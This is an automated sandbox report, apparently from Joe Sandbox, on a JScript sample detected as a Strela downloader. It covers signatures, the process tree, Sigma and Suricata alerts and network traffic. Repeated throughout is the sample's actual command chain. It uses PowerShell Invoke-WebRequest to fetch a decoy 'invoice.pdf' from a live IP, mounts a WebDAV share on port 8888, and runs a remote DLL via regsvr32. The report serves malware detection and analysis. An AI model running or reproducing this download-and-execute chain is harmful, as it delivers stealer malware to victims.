Edit tour

Windows Analysis Report
31068282522384212209.js

Overview

General Information

Sample name:	31068282522384212209.js
Analysis ID:	1588659
MD5:	85889c07e0efd9a6684cad77a30dca69
SHA1:	28d0969d8f8f39d4263bdfd02b6aeb20592f2410
SHA256:	c2eabbfd96def260fe1ba4f8a7d922cc74fe41efaf6a42aabfa1d8b77e421778
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1512 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4584 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4920 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5696 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5644 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1640,i,5230379578885629213,765984037929995897,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5608 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6336 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4936 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1512	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4920, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4920, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ProcessId: 1512, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6336, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ProcessId: 4584, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ProcessId: 4584, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ProcessId: 4584, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ProcessId: 4584, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ProcessId: 4584, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ProcessId: 1512, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4920, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5608, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6336, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4936, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5608, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6336, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31068282522384212209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\168122312127207.dll, ProcessId: 4584, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:48:07.795205+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:48:10.420505+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:48:07.795205+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 31068282522384212209.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 31068282522384212209.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:48:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

